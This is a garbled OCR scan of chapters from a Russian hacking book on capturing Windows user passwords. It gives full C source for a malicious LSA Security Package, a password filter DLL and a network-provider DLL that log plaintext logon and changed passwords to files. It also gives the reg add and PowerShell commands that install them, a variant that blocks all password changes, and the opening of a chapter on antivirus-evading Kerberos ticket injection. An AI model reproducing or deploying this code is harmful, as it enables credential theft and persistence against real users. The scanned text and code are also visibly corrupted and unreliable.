Глава 7. Поставщик небезопасности. Как // Возвращаем имя нашего АР (*AuthenticationPackageName) Windows раскрывает пароль пользователя 123 (LSA_STRING*)LsaDispatchTaЬle-> AllocateLsaHeap(sizeof(LSA_STRING)); if (NULL != (*AuthenticationPackageName)) (*AuthenticationPackageName) = (LSA_STRING*) LsaDispatchTaЬle->AllocateLsaHeap(sizeof(LSA_STRING)); (*AuthenticationPackageName)->Buffer = (char*) LsaDispatchTaЫe->AllocateLsaHeap( (ULONG)strlen ("myssp") + 1); if (NULL != (*AuthenticationPackageName)->Buffer) (*AuthenticationPackageName)->Length strlen("myssp"); = (*AuthenticationPackageName)->MaximumLength strlen("myssp") + 1; = strcpy( (*AuthenticationPackageName)->Buffer, ; "myssp"); return OxOOOOOOOOL; // STATUS SUCCESS return ОхС0000002; // STATUS NOT IMPLEMENTED Эксплуатация Теперь, изучив теорию, можно злоупотреблять этими самыми кирпичиками систе­ даже в мы безопасности Windows. Начнем с классического способа, который присутствует mimikatz (https://github.com/gentilkiwi/mimikatz). Это стандартное внедре­ ние с целью перехвата учетных данных. SP Как дебажить? Многие функции, которые мы будем использовать, возвращают либо NTSTAТUS, либо SECURITY _sтAтus. Чтобы понять, что сломалось, в первом случае можно воспользо­ ваться функцией LsaNtStatusToWinError 11:
Часть 124 11. Системное программирование для хакеров ULONG LsaNtStatusToWinError( [i n ] NTSTATUS Statu s ); После этого анали з ируем значение ULONG и сравниваем с кодами ошибок Win32 /system-error-codes-0-499-). (https://docs.microsoft.com/ru-ru/windows/win32/debug В случае SECURI TY_ sтAтus все чуточку сложнее. Как интерпретировать его исходное значение, непонятно. вообще пусть Например, в нашем коде функция AddSecurityPackage () валится каждый раз с ошибкой -2 146893051. Чтобы понять, что эта ошибка означает, нужно конвертировать ее в Нех, получим 80090305 . После чего sspi.h в ее поискать master/winpr/include/winpr/sspi.h), (рис . 7.10). (https://github.com/FreeRDP/FreeRDP/ЫoЫ следует а начало, в Ох добавив букву L конец в 133 Ox8()()9(Щil Л (SECURIТY_STATUS)0x00000000L 134 #deHne SEC_E_OK 135 #d efine SEC_E_INSUFFICIENT_IIEMORY 136 #define SEC_E_Iti\/ALID_НANDLE 137 #deHne SEC_E_UNSUPPORTED_FUNCТION 138 # define SEC_E_ Т ARGET _UNKNO\m ( SECURПY _ sт А TUS )0x80090303L (SECURПY_STATUS)0x80090300L (SECURПY_STATUS)0x8009030ll (SECURIТY_STATUS)0x80090302L (SECURIТY_STATUS)0x80090304L 139 #define SEC_E_INTERNAL_ERROR 140 #define SE C_E_SECPKG_NOT_FOUND 141 #define SEC_E_flOT_O\YNER (SECURIТY_STATUS) - (SECURIТY_STATUS)0x80090306L 142 # define SEC_E_CANNO T_ INST ALL ( SECURIТY _STA TUS )0x80090307L 143 #define SEC_E_Iti\/ALID_ TOKEN 144 # def"ine SEC_E_CANNOT _РАСК ( SECURIТY _sт ATUS )0x80090309L (SECURIТY _STATUS)0x80090308L ( SECURПY_STATUS)0 x8009030A L 145 # def"ine SEC_E_QOP_NOT_SUPPORTED 146 # define SEC_E_NO_IIIPERSONA ПОN 147 #define SEC_E_LOGON_DENIED 148 # define SEC_ E_UNK//01.N_CREDHПI ALS 149 # define SEC _E_NO_CRE DENТIALS (SECURIТY_STA TUS )0x8009030BL (SECURIТY_STATUS)0 x8009030CL (SECURПY_STATUS)0x8009030DL (S ECURП Y_STATUS)0x8009030EL 15С #define SEC_E_IIESSAGE_AL TERED (S ECURIТ Y_STATUS)0x8009030FL 151 #deHne SEC_E_OUT_OF _SEQUENCE (SECURIТY_STATUS)0 x80090310L ! 52 #define 153 # define SEC_E_BAD_PKGID (SECURITY_S TATUS)0x80090316L SEC _E_IIO_AUTHENТICA ТING_AUTHORIТY (SECUR IТ Y_sт ATUS )0x80090311L (SECURIТY_STATUS)0x80090317L 154 #define SEC_E_CONTEXT_EXPIRED 155 #defiпe SEf_E_INCOМPLETE_MESSAGE 156 #define SEC_E_INCOMPLETE_CREDENТIALS 157 # defiпe SEC_E_BUFFER_TOO_SI-IALL (SECURIТY _STA TUS) 0x80090321L (SECURIТY _STATUS)0x80090318L (S ECURIТ Y_STAT US)0x80090320L (SECURПY_STATUS)0x80090322L 158 #define SEC_E _ЫRONG_PR INCIPAL 159 #define SЕС_Е_ПМЕ_SКШ (SECURПY_STATUS)0x80090324L 160 # define SEC_E_ШПRUSTED_ROOT 161 # define SEC_E_ILLEGAL_MESSAGE 162 # define SEC_E_CERT_UNKNO\,N (SECURIТY_STATUS)0x80090327L 163 # define SEC_E_CERT_EXPIRED (SECURIТY _STATUS)0x8e090328L 164 #defi ne SEC_E_ENCRYPT_FAILURE ( SECURIТY_sт ATUS )0x.80090329L (SECURIТY _STATUS)0x80090325L (SECURIТY_STATUS)0x80090326L (SECURПY_STATUS)0x80090330L 165 #define SEC_E_DECRYPT_FAILURE 166 #def"iпe SEC _E_ALGORIТНl1_11ISIIA ТСН (SECURПY_sт А TUS )0x80090331L 167 #define SEC_E_SECURITY_QOS_FAILED (SECURITY_STATYS)0x80090332L V ■ Подс,!епnь все Рис. О С учётом ~гмстра 7.10. О С учётом диа~риtичес:ккк знаков Описание ошибки О Только
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 125 Перехват пароля с помощью внедрения Security Package Требования Наш SP для корректной работы должен удовлетворять следующим требованиям: 1. Реализован в виде библиотеки 2. Имеет функции SpLsaмodeini tiali ze (), SpGetinfo (), Spini tialize (), •SpAcceptCredentials () •. 3. Имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86. DLL. Загрузка в систему Первый вариант самый простой. Мы будем использовать функцию AddSecuri tyPackage (}, что позволит загрузить SP в систему буквально одним кликом: SECURITY_STATUS SEC_ENТRY AddSecurityPackageA( pszPackageName, [in] LPSTR [in] PSECURITY_PACКAGE_OPTIONS pOptions ); Вот пример загрузки: idefine WIN32 NO STATUS #define SECURITY WIN32 iinclude <windows.h> iinclude <sspi.h> iinclude <NТSecAPI.h> iinclude <ntsecpkg.h> ipragma comment (lib, "Secur32. lib") int main() char packagePath[] = "C:\\Windows\\SP.dll"; SECURITY_PACКAGE_OPTIONS spo = {}; SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo); if (ss != SEC_E_OK) { if (ss = SEC_E_SECPKG_NOТ_FOUND) { std: :wcout << L"[?] SEC Е SECPKG NOT FOUND received! Check architecture. U should load x86-DLL into-x86-system. х64 DLL into хб4 systems" « std::endl; 1; return else { std: :wcout « L" [-] AddSecurityPackage failed: " « ss « std: :endl; return 1; else std: :wcout « L" [+] AddSecurityPackage Success" « std: :endl;
Часть 126 return 11. Системное программирование для хакеров О; Есть также второй вариант, но он потребует перезагрузки системы. Сначала поме­ щаем наш SP в папку C:\Winctows\System32, а затем изменяем значение в реестре: reg add hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" / d "kerberos"\0"msvl_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0"SP" /t REG_MULTI_SZ После перезагрузки LSA прочитает это значение и подгрузит нашу DLL. Проверка Чтобы проверить успешность загрузки нашего SP в адресное пространство процес­ са lsass .ехе, можно воспользоваться функцией EnumerateSecurityPackages () (рис. 7.11 ): void EnumSecPkg() { SECURITY STATUS status; ULONG pcPackages = 0; SecPkginfo* secPkginfo = NULL; status = EnumerateSecurityPackages(&pcPackages, &secPkginfo); if (status 1= SEC_E_OK) { wprintf(L"[!) EnumerateSecurityPackages() failed with error: %i\n", status); std: :wcout « L"NAМE" « std: :setw(50) « L"СОММЕNТ" « std: :setw(40) « L"VERSION" « std: :endl; for (ULONG i = О; i < pcPackages; i++) std: :wcout << secPkginfo(i] .Name << std::setw(75 - wcslen(secPkginfo[i) .Name)) << secPkginfo(i] .Comment << std: :setw(20 - sizeof{secPkginfo[i) .wVersion)) << secPkginfo(i] .wVersion << std: :endl; COl·U·IENT NAHE Hi crosoft Package Negotiator Negotiate NegoExtender Security Package NegoExtender Hicrosoft Kerberos Vl.0 Kerberos NTLH Security Package NTLH TS Service Security Package TSSSP PKU2U Security Package pku2u Cloud АР Security Package CloudAP Digest At1thentication for 1-lindo.ss 1-IDigest Schannel Security Package Schannel Schannel Security Package Hicrosoft Unified Security Protocol Provider Custom security package from Russia 1aith love myssp Schannel Security Package Default TLS SSP Hicrosoft CredSSP Security Provider CREDSSP Рис. 7.11. Получение всех загруженных VERSIOI~ 1 1 1 1 1 1 1 1 1 1 1 1 1 SP Перехват пароля В наш SP, кроме стандартных функций для инициализации (spLsaМodeinitializel), SpGetinfo (), Spinitialize () ), добавим функцию 'spAcceptCredentials () '. Эта функция бу-
Глава 7. Поставщик небезопасности. Как дет вызвана LSA Windows раскрывает пароль пользователя 127 после того, как пользователь введет верную пару логина и пароля. Код нашего вредоносного SP приобретет следующий вид: #define WIN32 NO STATUS #define SECURITY WIN32 #include <windows.h> #include <sspi.h> #include <NTSecAPI.h> #include <ntsecpkg.h> #include <iostream> #include <string> #pragma cornment (lib, "Secur32. lib") LPWSTR logFileName = (LPWSTR)L"C:\\Templ\\_Mz_4ldЬaЬfaastex"; НANDLE hLogFile = NULL; void SpCreateLogFile() { hLogFile = CreateFile(logFileName, GENERIC~WRITE I GENERIC_READ, FILE_SНARE_READ FILE_SНARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORМAL, NULL); void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) { if (hLogFile == NULL) { SpCreateLogFile(); std: :wstring wspFuncName = spFuncName; std: :wstring wfuncName = funcName; std: :wstring wLog; wLog.append(L"\n") .append(wspFuncName) .append(L" 1 ") .append(funcName) .append(L" 1 ") . append (std:: to_wstring (err) . append (L"\n")); DWORD dwNumЬerWritten = О; WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t), &dwNumЬerWritten, ЩJLL); NTSTATUS NTAPI Spinitialize(ULONG_PTR Packageid, PSECPKG PLSA- SECPKG- FUNCTION- ТАВLЕ FunctionTaЬle) PARAМETERS SpMakeLog ( (LPWSTR) L"Spinitialize", (LPWSTR) L"Lsainvoke", return О; О); NTSTATUS NTAPI SpShutDown(void) SpMakeLog ( (LPWSTR) L"SpShutDown", (LPWSTR) L"Lsainvoke", О); Parameters,
Часть 128 11. Системное программирование для хакеров CloseHandle(hLogFile); return О; NTSTATUS NTAPI SpGetinfo(PSecPkginfoW Packageinfo) SpMakeLog ( (LPWSTR) L"SpGetinfo", (LPWSTR) L"Lsainvoke", Packageinfo->fCapabilities = SECPKG_ПJ\G_NEGOTIAВLE SECPKG_ПJ\G_LOGON I SECPKG_FLAG_ACCEPT_WIN32_NAМE I О); SECPKG_ПJ\G_MUТUAL_AUTH 1 SECPKG_FLAG_RESTRICTED_TOКENS 1 SECPKG- FLAG- RESTRICTED- TOКENS Ох00000002; // SECPKG CALLПJ\GS AUTHCAPAВLE; 1 Packageinfo->Name = (SEC_WCНAR*)L"myssp"; Packageinfo->Comment = (SEC_WCНAR*)L"Custom security package from Russia with love"; Packageinfo->wRPCID = SECPKG_ID_NONE; Packageinfo->cbMaxToken = О; Packageinfo->wVersion = 1; return О; - NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIМARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials) SpMakeLog ( :,pwsTR) L"SpAcceptCredentials", (LPWSTR) L"Lsalnvoke", О); DWORD dwWr_:ten = О; WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &dwWritten, NULL); WriteFile(hLogFile, L"@", 2, &dwWritten, NULL); WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer, PrimaryCredentials>DomainName.Length, &dwWritten, NULL); WriteFile(hLogFile, L":", 2, &dwWritten, NULL); WriteFile(hLogFile, PrimaryCredentials->Password.Buffer, PrimaryCredentials-> Password.Length, &dwWritten, NULL); return О; SECPKG FUNCTION TABLE SecurityPackageFunctionTaЬle[] NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, Spinitialize, SpShutDown, SpGetinfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); NTSTATUS NTAPI SpLsaModeinitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TAВLE * ррТаЫеs, PULONG рсТаЫеs)
Глава Поставщик небезопасности. Как 7. Рис. 7.12. Windows раскрывает пароль пользователя Успешный вход пользователя _Мz_41dbaЫaastex- Блокнот ФаМ Праака Формат Вид Справка 1 SplsaМodelnitialize I Lsalnvoke 1 0 Splnitialize I Lsalnvoke 1 0 SpGetlnfo I Lsalnvoke 1 0 SpAcceptCredentials I Lsalnvoke 0 SpAcceptCredentials 1 Lsalnvoke 0 WIN10ENТVSU!W()RKGROUP: UМFD - 1@WORKGROUP SpAcceptCredentials 1 Lsalnvoke !J,\FD-~RKGROUP: : SpAcceptCredentials I Lsalnvoke NEТWORK SERVICE(!WORKGROUP: SpAcceptCredentials 1 Lsalnvoke ~-l(!WORKGROUP: SpAcceptCredentials 1 Lsalnvoke ~ -l(!WORKGROUP: SpAcceptCredentials 1 Lsalnvoke LOCAL SERVICE~ : SpAcceptCredentials Lsalnvoke 0 0 0 0 0 0 Michae~IN10ENТVS:whosaidssp SpAcceptCredentials I Lsalnvoke 0 Michae~IN10ENТVS : whosaidssp Рис. 7.13. Перехваченные учетные данные 129
Часть 130 11. Системное программирование для хакеров SpMakeLog ( (LPWSTR) L"SpLsaModeini tialize", (LPWSTR) L"Lsainvoke", *PackageVersion = SECPKG_INTERFACE_VERSION; *ppTaЬles = SecurityPackageFunctionTaЫe; *рсТаЫеs = return О); 1; О; Мы добавили лишь логирование полученных в функции SpAcceptCredentials учетных данных. Поместим любым удобным образом SP в систему и попробуем отследить вход пользователя (рис. 7.12, 7.13). Перехват пароля с помощью внедрения Password Filter Требования Должны быть соблюдены следующие условия: 1. Наш 2. В NP реализованы функции NP (https:/Лearn.microsoft.com/en-us/windows/ win32/secmgmt/management-functions#password-filter-functions). 3. NP 4. NP реализован в виде библиотеки DLL. имеет ту же архитектуру, что и целевая система: х64 для х64, х86 для х86. Функции объявлены как extern "С" _ declspec (dllexport) и имеют соглашение о вы­ зове stdcall. Загрузка в систему LSA извлекает список всех пакетов уведомлений из следующего ключа реестра: reg query "hklm\system\currentcontrolset\control\lsa" /v "notification packages" По умолчанию в нем написано только scecli. Для добавления своего NP требуется поместить его в папку с: \Windows \System32, после чего добавить к этому ключу реест­ ра значение- имя этой самой DLL без расширения .ctll: reg add "hklm\system\currentcontrolset\control\lsa" /v "notification packages" /d scecli\0passfil /t reg_multi_sz Перехват пароля Самый простой код может выглядеть так: #include #include #include #include <windows.h> <ntsecapi.h> <string> <iostream> using namespace std; LPWSTR logFileName = (LPWSTR)L"C:\\Templ\\_Mz_41dЬaЬfaastex";
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 131 hLogFile = NULL; void SpCreateLogFile() { hLogFile = CreateFile{logFileName, GENERIC_WRITE I GENERIC_READ, FILE_SНARE_READ FILE_SНARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUТE_NORМAL, NULL); НANDLE void SpMakeLog(LPWSTR spFuncName, LPWSTR funcName, DWORD err) { if {hLogFile == NULL) { SpCreateLogFile{); std: :wstring wspFuncName = spFuncName; std: :wstring wfuncName = funcName; std: :wstring wLog; wLog.append(L"\n") .append(wspFuncName) .append(L" 1 ") .append(funcName) .append(L" 1 ") .append(std: :to_wstring(eп) .append(L"\n")); DWORD dwNumЬerWritten = О; WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t), extern "С" _declspec(dllexport) BOOLEAN &dwNumЬerWritten, NULL); stdcall InitializeChangeNotify(void) // Инициализация NP SpMakeLog ( (LPWSTR) L"InitializeChangeNotify", (LPWSTR) L"Lsalnvoke", return TRUE; О); // Проверка нового пароля extern "С" _declspec(dllexport) BOOLEAN stdcall PasswordFilter( PUNICODE STRING PUNICODE_STRING Password,BOOLEAN SetOperation) AccountName,PUNICODE_STRING FullName, { SpMakeLog ( (LPWSTR) L"PasswordFilter", (LPWSTR) L"Lsainvoke", О); SpMakeLog((LPWSTR)AccountName->Buffer, (LPWSTR)Password->Buffer, О); return TRUE; // Уведомление об успешной сыене пароля на новый extern "С" declspec(dllexport) NTSTAТUS stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG Relati veid,PUNICODE_STRING NewPassword) ( SpMakeLog ( (LPWSTR) L"PasswordChangeNotify", (LPWSTR) L"Lsainvoke", О); SpMakeLog( (LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer, return О; О); SP. Рассмотрим новые (рис. 7.14): InitializeChangeNotify() - эта функция вызывается LSA в момент, когда NP ус­ пешно загружается в адресное пространство процесса LSA; Функции для логирования я скопировал из кода □
132 Часть □ PasswordFilter() - вызывается LSA, 11. Системное программирование дпя хакеров когда пользователь решает сменить пароль. В нее попадает в плейнтексте непосредственно сам новый пароль для проверки; □ PasswordChangeNotify () - вызывается LSA, когда все NP сообщили, что пароль ПОДХОДИТ под их фильтры. _Мz_41dЬaЬfaastex - Файл Праака Блокнот Формат Вид I nitializeChangeNotify PasswordFilter Michael I Lsalnvoke newpass 1 1 PasswordChangeNotify Michael I Lsainvoke I newpass I Спраака 1 0 0 0 Lsainvoke 1 0 0 1 Рис. 7.14. Успешный перехват нового пароля Запрещаем пользователям менять пароль Как вы помните, главная функция Password Filter - проверять, что пароль подхо­ дит под все критерии. Мы можем запретить любому пользователю системы менять пароль, если изменим функцию PasswordFilter () вот так: Рис. 7.15. Невозможно сменить пароль
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя 133 extern "С" _declspec(dllexport) BOOLEAN _stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation) return FALSE; // Пароль не nодходит nод критерии В результате новый пароль просто не будет проходить проверку, и шит сменить пароль (рис. LSA не разре­ 7.15). Перехват пароля с помощью диспетчера учетных данных Теория Диспетчер учетных данных Windows позволяет сохранять учетные данные для, например, каких-нибудь сайтов. Нам ничто не мешает реализовать собственный диспетчер учетных данных для получения паролей. Все будет основываться на спе­ циальном компоненте, который называется MPR (Multiple Provider Router). Он обеспечивает взаимодействие между операционной системой и различными про­ вайдерами, в их числе При запуске MPR - диспетчер учетных данных. проверяет реестр в поисках установленных провайдеров. Причем очень важен порядок расположения провайдеров в реестре - они загружаются строго по очереди. Все указанные в реестре провайдеры будут загружены в При входе пользователя Winlogon MPR. вызывает соответствующую функцию из MPR, который, в свою очередь, дергает каждый диспетчер учетных данных, уведомляя его о том, что пользователь входит в систему или изменяет пароль своей учетной записи. Но, к сожалению, этот способ уже считается устаревшим. Поэтому не могу гаран­ тировать успешность работы на каждой машине с Windows. Добавление в систему MPR извлекает все доступные провайдеры из следующего ключа реестра: НКLМ\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order Есть несколько вариантов добавления собственного провайдера. Проще всего вос­ пользоваться скриптом. Обратите внимание, что в таком случае имя вашей должно иметь вид spy.dll (рис. DLL 7.16): $path = Get-ItemProperty -Path "HКLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER $UpdatedValue = $Path.PROVIDERORDER + ",spy" S~t-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue New-Item -Path New-Item -Path HКLМ:\SYSTEM\CurrentControlSet\Services\spy HКLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider
134 Часть 11. Системное программирование для хакеров New-ItemProperty -Path HКLM:\SYSTEM\CurrentControlSet\Services \ spy \ NetworkProvider -Name "Class" -Value 2 New-ItemProperty -Path HКLM:\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider -Name "Name" -Value spy New-ItemProperty -Path HКLМ:\SYSTEM\CurrentControlSet \S ervices\spy \N etworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot% \System32 \ spy.dll" -- ,_ ""tф ,_ ,_ C~W~32\wnf,gfs41 C~W-~32\d,pn>,<111 CN:~Windows Н.,drw1r1t Compltibllity Publit.ker, O:.Mкrosoft Corponltion, l:,Redmond, S:11Wnhin9ton, C:11US 11"-'12.О CNa.Мiaoюft W ~ OaMicf'OIOft Corporation, liiRedmond, 5,,.Wasfiington. C:a:US 10.0. 17763.3286 (Winlk,ild.1 \.wlmlnWorЬtмion C~W~Э~I CN1:Иctosoft Windows, - C:\W~}~dll CN:Мiaoюft W ~ _o:Miaoюft Corpor,tion, L:1:Redmond, SaW1shington, C:US Рис. OaMictOIOft Corporation, l=Redrnond, 7.16. ~Wиhington, 10.0.177633286 (Win8uikt.1 C:US 10.0.17763.1 {WinВuiki.1601 -· Добавление в систему То же самое можно сделать вручную: 1. Копируем нашу 2. Добавляем строку spy в конец ProviderOrder в следующем ключе: DLL (spy .dll) в папку C:\Windows\System32. HКLМ\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order 3. Создаем ключ: HКLМ\SYSTEM\CurrentControlSet \ Services \ spy \N etworkProvider И указываем в нем следующие данные: "Class" = [REG_DWORD]2 "ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot %\System32 \ spy.dll" "Name" = [REG_SZ]"spy" После чего вы можете проверить настройки следующим образом: $providers = Get-ItemProperty -Path "HКLМ:\SYSTEM\CurrentControlSet\Control\NetworkProvider\ Order" -Name ProviderOrder $arrExp=@ () foreach ($prov in ($providers.Provider0rder -split ', ')) { $row = New-Object psobject $row I Add-MemЬer -Name "Name" $dllPath = (Get-ItemProperty -MemЬerType NoteProperty -Val ue $prov "HКLМ:\SYSTEM \ CurrentContr olS et \ Services \$p rov\ NetworkProvider" -Name ProviderPath) .ProviderPath $row I Add-MemЬer -Name "DllPath" -MemЬerType NoteProperty -Value $dllPath $signature = Get-AuthenticodeSignature -FilePath $dl1Path $certSuЬject = "" if ($signature.Status.value_ -eq О) #valid $certSuЬject $row $row Add-MemЬer Add-MemЬer = $signature.SignerCertificate.SuЬject -Name "Signer" -MemЬerType NoteProperty - Value $c ertSuЬject -Name "Version" -MemЬerType NoteProperty -Value (Get-Command $dl1Path) .FileVersioninfo.FileVersion
Глава 7. Поставщик небезопасности. Как $row I Add-MernЬer -Name "Description" Windows раскрывает пароль пользователя 135 NoteProperty -Value (Get-Coппnand $dl1Path) .FileVersion!nfo.FileDescription -MernЬerType $arrExp += $row if (Test-Path VariaЫe:PSise) $arrExp I OUt-GridView $arrExp I Foпnat-List else Перехват пароля Для перехвата пароля мы воспользуемся функцией NPLogonNotify () . МРR вызывает эту функцию для уведомления диспетчера учетных данных о том, что произошел успешный вход в систему. Диспетчер УД, получив такое сообщение, может вернуть сценарий входа (какой-нибудь скрипт, который должен выполниться). Прототип у функции следующий: DWORD NPLogonNotify( [in) PLUID lpLogon!d, [in) LPCWSTR lpAuthent!nfoType, [in) LPVOID lpAuthent!nfo, [in] LPCWSTR lpPreviousAuthent!nfoType, [in] LPVOID lpPreviousAuthent!nfo, [in) LPWSTR lpStationName, [in] LPVOID StationНandle, [out] LPWSTR *lpLogonScript 1; Обратите внимание на второй параметр (lpAuthentinfoType}. В зависимости от типа входа он будет иметь разные значения: MSVl 0:Interactive Kerberos:Interactive В третьем параметре (lpAuthentinfo), опять же в зависимости от типа входа, будут лежать разные структуры. В случае MSVl_O он будет содержать следующие зна­ чения: typedef struct _MSVl_0_INTERACTIVE_LOGON { MSVl_0_LOGCN_SUBMIT_TYPE MessageType; UNICODE STRING LogonDomainName; UNICODE STRING UserName; UNICODE STRING Password; MSVl_0_INTERACTIVE_LOGON, *PMSVl_0_INTERACTIVE_LOGON;
Часть 136 А в случае «Кербероса» typedef struct - 11. Системное программирование для хакеров такие: _КERВ_INTERACTIVE_LOGON КERВ_LOGON_SUBMIT_TYPE UNICODE STRING UNICODE STRING UNICODE STRING КERВ_INTERACTIVE_LOGON, MessageType; LogonDomainName; UserName; Password; *PКERВ_INTERACTIVE_LOGON; Соответственно, если мы планируем перехватить дом: #include <Windows.h> #define #define #define #define #define WNNC WNNC WNNC WNNC WNNC - SPEC VERSION SPEC VERSION51 NET ТУРЕ START WAIT- FOR- START 0x0000000l Ох00050001 Ох00000002 ОхОООООООС 0x0000000l typedef struct _UNICODE_STRING ( USHORT Length; USHORT MaximumLength; PWSTR Buffer; UNICODE_STRING, * PUNICODE_STRING; typedef enum _MSVl О LOGON_SUBMIT_TYPE ( MsVl_0interactiveLogon = 2, MsVl_0Lrn20Logon, MsVl_0NetworkLogon, MsVl_0SuЬAuthLogon, MsVl_0WorkstationUnlockLogon = 7, MsVl_0S4ULogon = 12, MsVl_0VirtualLogon = 82, MsVl_0NoElevationLogon = 83, MsVl_0LuidLogon = 84, MSVl О LOGON_SUBMIT_TYPE, * PMSVl_0_LOGON_SUBMIT_TYPE; typedef struct _MSVl О INTERACTIVE_LOGON ( MSVl_0_LOGON_SUBMIT_TYPE MessageType; UNICODE_STRING LogonDomainName; UNICODE STRING UserName; UNICODE STRING Password; MSVl О INTERACTIVE_LOGON, * PMSVl О INTERACTIVE LOGON; MSV 1_ О, воспользуемся этим ко­
Глава 7. Поставщик небезопасности. Как Windows раскрывает пароль пользователя void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password) hFile; DWORD dwWritten; НANDLE hFile = CreateFile(TEXT("C:\\spy.txt"), GENERIC_WRITE, о, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORМAL, NULL); if (hFile != INVALID- НANDLE - VALUE) SetFilePointer(hFile, О, NULL, FILE_END); WriteFile(hFile, username->Buffer, username->Length, &dwWritten, WriteFile(hFile, L" -> ", 8, &dwWritten, О); WriteFile(hFile, password->Buffer, password->Length, &dwWritten, WriteFile(hFile, L"\r\n", 4, &dwWritten, О); CloseHandle(hFile); declspec(dllexport) DWORD APIENTRY NPGetCaps( DWORD nindex switch (nindex) case WNNC SPEC VERSION: return WNNC SPEC VERSIONSl; case WNNC NET ТУРЕ: return WNNC CRED МANAGER; case WNNC START: return WNNC WAIT FOR START; default: return О; declspec(dllexport) DWORD APIENTRY NPLogonNotify( PLUID lpLogonid, LPCWSTR lpAuthinfoType, О); О); 137
Часть 138 11. Системное программирование для хакеров LPVOID lpAuthlnfo, LPCWSTR lpPrevAuthlnfoType, LPVOID lpPrevAuthlnfo, LPWSTR lpStationName, LPVOID StationНandle, LPWSTR* lpLogonScript SavePassword( &(((MSVl_0_INTERACTIVE_LOGON*)lpAuthlnfo)->UserNarne), &(((MSVl_0_INTERACTIVE_LOGON*)lpAuthlnfo)->Password) ); lpLogonScript = NULL; return WN_SUCCESS; После чего выходим из системы. И заново логинимся. Пароль будет сохранен в файл (рис. 7.17). spy.txt- Бnокнот Ф. ~ ПрАВП Формп Вид CnpABU Hichael -> whosaidssp Hichael -> whosaidssp Рис. 7.17. Пароль будет сохранен в файл Заключение Получиrь пароль пользователя Windows в чистом виде не очень-то и сложно. В ауген­ тификации участвует слишком много компонентов, что создает большую угрозу для безопасности. Но использование поставщиков безопасности на этом не закан­ чивается. В следующих разделах мы напишем АР, который создаст буквально вто­ рой пароль для пользователя, эдакий linux-pam-backdoor) для Windows, pam_backdoor (https://github.com/zephrax/ MSV 1_ О пересылать нам а также заставим учетные данные не только от интерактивной, но и от неинтерактивной аутентифи­ кации.
ГЛАВА 8 Долой Mimikatzl Инжектим тикеты своими руками pass the ticket необходимо внедрить в ском­ прометированную систему билет Kerberos. Обычно для этого используются инст­ рументы вроде Mimikatz, Impacket или Rubeus, но они отлично палятся антивиру­ Для реализации целого ряда атак типа сами, что делает такой подход неэффективным. В этой главе я подробно рассмотрю методы решения этой задачи без вспомогательных инструментов, с использованием только WinAPI н магн11. В предыдущей главе я рассказал об Authentication Package, Security Package, и мы успешно перехватили пароль пользователя. Но этого мало, не так ли? Следующим Kerberos для реализации атаки pass the ticket. Само Impacket мы использовать не будем. Абсолютно все силами (ну и с использованием стандартного Win32 API). шагом будет внедрение билетов собой, никакого Mimikatz будет сделано своими и Получение тикета Тикет передается атакующему, например при дампе, в формате ром» Base64 - в «сы­ виде тикет может иметь непечатаемые символы, что приведет к выводу на экран непонятно чего. В связи с этим, чтобы наш код мог инжектить рабочие тике­ ты, следует предусмотреть в нем возможность декодировать полученную строку. Предлагаю создать файл stuff.h, в котором реализуем простенькую функцию для декодирования значения Base64. Дополнительно поместим туда все заголовочные файлы, которые потребуются нам в будущем. #pragma once #define WIN32 NO STATUS #def1ne SECURITY WIN32 #include <windows.h> #include <sspi.h> #include <NTSecAPI.h> #include <ntsecpkg.h> #include <iostream> #include <string>
